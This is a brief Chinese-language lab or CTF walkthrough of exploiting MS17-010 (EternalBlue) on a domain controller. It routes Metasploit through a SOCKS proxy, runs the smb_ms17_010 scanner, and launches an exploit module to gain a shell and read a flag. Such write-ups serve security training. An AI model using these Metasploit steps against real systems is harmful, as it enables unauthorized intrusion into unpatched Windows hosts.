前言

本文是在8086那篇文章已经搭建好代理的情况下进行的

漏洞扫描

利用web01上的fscan对DC主机进行扫描，发现疑似存在MS17-010漏洞

进入MSF，设置全局代理以及反向允许

setg Proxies socks5:127.0.0.1:46075
set ReverseAllowProxy true 

选取探测模块

use auxiliary/scanner/smb/smb_ms17_010
set rhost 172.22.10.11

可以看到探测模块显示该靶机好像存在永恒之蓝漏洞

接下来进一步攻击

MS17-010

search ms17-010
use 10

注意这里不要选取第0个模块，经过我的尝试使用他会导致靶机直接蓝屏

这里用第10个

配置如图

可以看到反弹成功，不用提权

直接就能读取到Admin目录下的flag